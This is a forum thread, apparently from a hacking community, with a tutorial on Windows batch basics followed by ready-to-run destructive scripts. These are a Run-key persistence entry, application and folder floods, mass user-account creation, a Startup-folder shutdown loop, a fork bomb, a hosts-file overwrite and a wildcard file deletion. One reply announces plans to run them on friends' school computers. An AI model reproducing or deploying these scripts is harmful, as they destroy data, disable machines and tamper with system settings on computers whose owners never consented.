Login Register






Tutorial Very basic batch programming + some viruses filter_list
Author
Message
Very basic batch programming + some viruses #1
Hello today, I will write short tutorial about writing batch viruses.
Those viruses aren't like trojan hourse or worms. For example shutting down virus.

Let's start.
We will start with some basics batch programming.
What you will need notepad or notepad++(or similar program), hands, brain!

Basic batch programming
Spoiler:
To create file that will lanche the commands you need to save the file with extension .bat .
Ok the first command you should know is:
Code:
@ECHO OFF
Note that no DOS commands are case sensitive.
By default the console will display all of the lines of code as they execute and then the result most of the time the source code is unnecessary to the user creates clutter and in other cases gives away security and such.
Code:
ECHO
This will display MSG.
Code:
pause
In almost every ptogramming laungage will run,execute and close abruptly before the user have chanse to read the information for this we use pause command this will pause the window after executing the commands.
Code:
START
This is used to run an external executable. START can also be used to start explore, you know, to look at files or website. Here are some examples.
Code:
START virus.bat - This will start virus.bat. START \\networked\sharedfolder - This will start explore. START http://anarchyforums.net - This will open AF in default browser.

Since, I don't have much time today http://www.robvanderwoude.com/batchcommands.php here you can read more about commands, I recommend to read more about them.
Enough for now if there is interes, I can continue writing tutorials about batch programming.


Execute virus on Start up
Spoiler:
Code:
@ECHO OFF reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v demo /t REG_SZ /d demo.exe


Application Bomber
Spoiler:
Code:
@echo off :x start winword start mspaint start notepad start write start cmd start explorer start control start calc goto x


Folder flooder
Spoiler:
Code:
@echo off :x md %random% // makes directory/folder. goto x


Shutdown Virus
Spoiler:
Code:
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup” copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” -These two commands will copy the batchfile in start up folders (in XP). shutdown -s -t 00


User account flooder
Spoiler:
Code:
@echo off :x net user %random% /add //create user account goto x


Fork Bomb
Spoiler:
Code:
@ECHO OFF %0|%0 -Its percentage zero pipe percentage zero.


DNS Poisoning
Spoiler:
Code:
@echo off echo xxx.xxx.xxx.xxx www.site.com > C:\windows\system32\drivers\etc\hosts


Deleter
Spoiler:
Code:
@ECHO OFF del *.*

Reply

RE: Very basic batch programming + some viruses #2
I will use these on my friends' school computers. Its being a trouble maker time... Biggrin
#MakeSinisterlySexyAgain

Reply

RE: Very basic batch programming + some viruses #3
Code:
In computing, a fork bomb is a denial-of-service attack whereby a process continually replicates itself to deplete available system resources.
- Wikipedia.
[Image: bt5.jpg] - Find it in google.

Reply